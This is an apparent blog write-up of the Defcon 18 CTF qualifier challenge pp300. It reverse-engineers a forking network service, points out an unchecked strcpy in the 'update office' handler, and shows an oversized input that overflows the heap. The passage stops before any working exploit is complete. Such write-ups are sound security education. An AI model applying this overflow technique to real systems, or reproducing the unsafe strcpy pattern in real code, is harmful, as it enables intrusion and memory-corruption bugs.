scheme='http://www.blogger.com/atom/ns#' term='CTF'/><category scheme='http://www.blogger.com/atom/ns#' term='writeup'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><category scheme='http://www.blogger.com/atom/ns#' term='ctf18'/><title type='text'>Defcon 18 CTF qualifiers: pp300</title><content type='html'>&lt;span style="font-size: small;"&gt;Let's solve this challenge!!. After downloading the file, we check the file format:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;defcon@bs:/defcon/pwtent$ file pp300_6fa2f9a0d6617d2e3.bin&lt;br /&gt;pp300_6fa2f9a0d6617d2e3.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.18, dynamically linked (uses shared libs), stripped&lt;/i&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;And we tried to execute on our VM, but we'll need to setup properly the system:&lt;/span&gt;&lt;br /&gt;&lt;div style="font-family: inherit;"&gt;&lt;i&gt;&lt;span style="font-size: small;"&gt;defcon@bs:/defcon/pwtent$ ./pp300_6fa2f9a0d6617d2e3.bin&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;pp300_6fa2f9a0d6617d2e3.bin: Failed to find user fcfl&lt;br /&gt;: Success&lt;/i&gt;&lt;i&gt;&lt;br /&gt;&lt;br /&gt;defcon@bs:/defcon/pwtent$ sudo useradd -m fcfl&lt;br /&gt;&lt;br /&gt;fcfl@bs:/home$ ncat 127.0.0.1 5555&lt;br /&gt;attempted /home/fcfl/user.db.&lt;br /&gt;can't read user db, quitting&lt;br /&gt;cya&lt;br /&gt;&lt;br /&gt;fcfl@bs:~$ ./pp300_6fa2f9a0d6617d2e3.bin&lt;br /&gt;&lt;br /&gt;fcfl@bs:/home$ ncat 127.0.0.1 5555&lt;br /&gt;&lt;br /&gt;fantasy chicken farmin league&lt;br /&gt;menu&lt;br /&gt;&amp;nbsp;c) create account&lt;br /&gt;&amp;nbsp;l) login&lt;br /&gt;&amp;nbsp;q) quit&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;Just note that for every request, the server create a new process to attend this connection:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;fcfl@bs:~$ ps auxww | grep pp300&lt;br /&gt;fcfl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 9745&amp;nbsp; 0.0&amp;nbsp; 0.1&amp;nbsp;&amp;nbsp; 1996&amp;nbsp;&amp;nbsp; 608 pts/0&amp;nbsp;&amp;nbsp;&amp;nbsp; S&amp;nbsp;&amp;nbsp;&amp;nbsp; 11:22&amp;nbsp;&amp;nbsp; 0:00 ./pp300_6fa2f9a0d6617d2e3.bin&lt;br /&gt;fcfl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 9747&amp;nbsp; 0.0&amp;nbsp; 0.0&amp;nbsp;&amp;nbsp; 1996&amp;nbsp;&amp;nbsp; 344 pts/0&amp;nbsp;&amp;nbsp;&amp;nbsp; S&amp;nbsp;&amp;nbsp;&amp;nbsp; 11:22&amp;nbsp;&amp;nbsp; 0:00 ./pp300_6fa2f9a0d6617d2e3.bin&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;Let's examine the file :):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;After dissasembling the file, we can find the main initialization code (0x08048d34):&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span style="font-size: small;"&gt;&lt;a href="http://3.bp.blogspot.com/_3fh-o4rrHOk/S_wfVj12uLI/AAAAAAAAABk/5NaRkgAg0KM/s1600/disas_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="385" src="http://3.bp.blogspot.com/_3fh-o4rrHOk/S_wfVj12uLI/AAAAAAAAABk/5NaRkgAg0KM/s640/disas_01.png" width="640" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;For every new client, the server forks a process, that execute the code labelled "interactWithClient" (0x0804C18B):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_3fh-o4rrHOk/S_0iBbzJMxI/AAAAAAAAACM/x45HU7eLGQI/s1600/disas_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="318" src="http://2.bp.blogspot.com/_3fh-o4rrHOk/S_0iBbzJMxI/AAAAAAAAACM/x45HU7eLGQI/s640/disas_02.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;As it can be observed on the "Graph overview", the structure of this function is very similar to a switch code, so basically this code interacts with the client and makes the appropiate calls depending of the user input. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;If we look closer on this function, we can find an interesting piece of code (0x0804C509)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span style="font-size: small;"&gt;&lt;a href="http://1.bp.blogspot.com/_3fh-o4rrHOk/S_wgxIjCn6I/AAAAAAAAAB8/j5Np7090usc/s1600/disas_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="385" src="http://1.bp.blogspot.com/_3fh-o4rrHOk/S_wgxIjCn6I/AAAAAAAAAB8/j5Np7090usc/s640/disas_03.png" width="640" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;On the previous code, if the user enter the command "6" and if he's an admin (and has logged), the server will print the key stored on "/home/fcfl/key".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;So, we need to find when this variable is set. Looking around, we'll find the following piece of code, located on the logging functionality (0x0804A8A1)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_3fh-o4rrHOk/S_0iORXnC4I/AAAAAAAAACU/GNHj6AY2Bqc/s1600/disas_04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="316" src="http://4.bp.blogspot.com/_3fh-o4rrHOk/S_0iORXnC4I/AAAAAAAAACU/GNHj6AY2Bqc/s640/disas_04.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;The code looks for the user structure (offset 0x38h) and test if this variable has a value greater than 0x000001f3h. If this condition is meet, the user will be logged with administrative privileges.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;So, now we have a (limited) understanding on what we need to do: we need to find some way to alter this structure. As all the user information is read from the database file ("/home/fcfl/user.db") and stored on memory, we'll face with a heap overflow.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;If we search for some "weak security" functions, we'll find an insecure strcpy on the code that manages the update user info (0x0804B148). This code is triggered if the user presses the "u" key.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: small;"&gt;.text:0804B2DF&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [esp+4], offset aWouldYouLike_4 ; "would you like to change office #(%s) ["...&lt;br /&gt;.text:0804B2E7&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [ebp+fd]&lt;br /&gt;.text:0804B2EA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; fd&lt;br /&gt;.text:0804B2ED&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; writeLine&lt;br /&gt;.text:0804B2F2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [ebp+nptr]&lt;br /&gt;.text:0804B2F5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; int&lt;br /&gt;.text:0804B2F9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [ebp+fd]&lt;br /&gt;.text:0804B2FC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; fd&lt;br /&gt;.text:0804B2FF&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; yesOrNo?&lt;br /&gt;.text:0804B304&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; al, 79h&lt;br /&gt;.text:0804B306&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jnz&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_804B360&lt;br /&gt;.text:0804B308&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [esp+4], offset aEnterNewOffice ; "enter new office: "&lt;br /&gt;.text:0804B310&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [ebp+fd]&lt;br /&gt;.text:0804B313&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; fd&lt;br /&gt;.text:0804B316&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; writeLine&lt;br /&gt;.text:0804B31B&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [esp+0Ch], 0Ah ; int&lt;br /&gt;.text:0804B323&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [esp+8], 257h ; char&lt;br /&gt;.text:0804B32B&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [ebp+nptr]&lt;br /&gt;.text:0804B32E&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; int&lt;br /&gt;.text:0804B332&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [ebp+fd]&lt;br /&gt;.text:0804B335&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; fd&lt;br /&gt;.text:0804B338&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; readLine&lt;br /&gt;.text:0804B33D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [ebp+var_18], eax&lt;br /&gt;.text:0804B340&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [ebp+var_18]&lt;br /&gt;.text:0804B343&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [ebp+nptr]&lt;br /&gt;.text:0804B346&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; byte ptr [eax], 0&lt;br /&gt;.text:0804B349&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, [ebp+nptr]&lt;br /&gt;.text:0804B34C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [ebp+dest]&lt;br /&gt;.text:0804B34F&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, 86h&lt;br /&gt;.text:0804B354&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; src&lt;br /&gt;.text:0804B358&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; dest&lt;br /&gt;.text:0804B35B&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _strcpy&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;============== HERE&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;Then, if we put too much data on the "update office", we'll overflow the heap.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp; fcfl@bs:/home$ ncat 127.0.0.1 5555&lt;br /&gt;&amp;nbsp; menu&amp;nbsp;&amp;nbsp;&amp;nbsp; (a1)&lt;br /&gt;&amp;nbsp;&amp;nbsp; L) logout&lt;br /&gt;&amp;nbsp;&amp;nbsp; b) buy chickens&lt;br /&gt;&amp;nbsp;&amp;nbsp; i) incinerate money&lt;br /&gt;&amp;nbsp;&amp;nbsp; s) sell eggs&lt;br /&gt;&amp;nbsp;&amp;nbsp; p) display my info&lt;br /&gt;&amp;nbsp;&amp;nbsp; u) update my info&lt;br /&gt;&amp;nbsp;&amp;nbsp; q) quit&lt;br /&gt;&amp;nbsp; u&lt;br /&gt;&amp;nbsp; 1: u&lt;br /&gt;&amp;nbsp; would you like to change username (a1) [y/n]: n&lt;br /&gt;&amp;nbsp; would you like to change user info () [y/n]: n&lt;br /&gt;&amp;nbsp; would you like to change office #() [y/n]: y&lt;br /&gt;&amp;nbsp; enter new office: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;&amp;nbsp; would you like to change password [y/n]: [y/n][y/n][y/n]n&lt;br /&gt;&amp;nbsp; would you like to change uid(0) [y/n]: n&lt;br /&gt;&amp;nbsp; would you like to change you egg count(0) [y/n]: n&lt;br /&gt;&amp;nbsp; fcfl@bs:/home$&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;Done!!, seems that the overflow worked. If we attach a debugger to the fork'd process we can see that we overwrite too much data, causing a libc error, as we have corrupted the memory.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp; fcfl@bs:~$ ps auxww | grep pp300&lt;br /&gt;&amp;nbsp; fcfl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 9745&amp;nbsp; 0.0&amp;nbsp; 0.1&amp;nbsp;&amp;nbsp; 1996&amp;nbsp;&amp;nbsp; 608 pts/0&amp;nbsp;&amp;nbsp;&amp;nbsp; S&amp;nbsp;&amp;nbsp;&amp;nbsp; 11:22&amp;nbsp;&amp;nbsp; 0:00 